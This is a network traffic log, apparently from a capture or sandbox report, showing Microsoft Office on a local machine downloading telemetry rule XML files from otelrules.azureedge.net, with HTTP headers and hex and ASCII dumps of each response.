Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49814	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a089fa81-d01e-0066-1640-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf4jwfhhhC1SN1bnb000000004g00000000061bz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 6a3542ff-401e-0078-3058-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf4kn7x5hC1SN166t400000004gg000000000m60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49811	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 86102881-001e-0034-7355-2edd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf4dtwdphC1SN1ubaw00000004300000000022zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:23 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49816	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 89e70e23-001e-0014-478e-2d5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf4cgkpvhC1SN11r4000000004a00000000051q8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:24 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49817	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:24 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:24 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45f39ff0-c01e-00a2-2d5f-2e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195124Z-158dbd74bf4mjxnbhC1SN1pkws00000004kg000000002xgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:24 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49818	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:24 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:24 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 7c56904f-a01e-0053-4d5c-2e8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195124Z-157b9fd754fqtvfchC1SN1b6mc00000004u0000000002rp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:24 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49819	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:24 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:24 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 4644762d-401e-0016-6540-2e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195124Z-158dbd74bf4t6ws7hC1SN1rd6c00000004g0000000004pr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:24 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49820	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:24 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:24 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 34a6016e-c01e-0082-095f-2eaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195124Z-157b9fd754fpgz5vhC1SN1qzrn00000004ug000000006a52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:24 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49821	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:24 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:24 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a01aecef-901e-005b-2d5f-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195124Z-157b9fd754fdj9g2hC1SN1a7tn00000004u0000000004bwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:25 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49822	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:25 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:25 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9b184377-001e-0014-055f-2e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195125Z-158dbd74bf4qbc8zhC1SN1f48g000000047g0000000065kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:25 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49823	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:25 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:25 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 00707b2d-601e-0032-7755-2eeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195125Z-158dbd74bf4dtwdphC1SN1ubaw000000041g000000003v90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:25 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49824	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:25 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 7b54aac3-c01e-008d-0d5f-2e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195125Z-158dbd74bf4dtwdphC1SN1ubaw0000000430000000002308 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
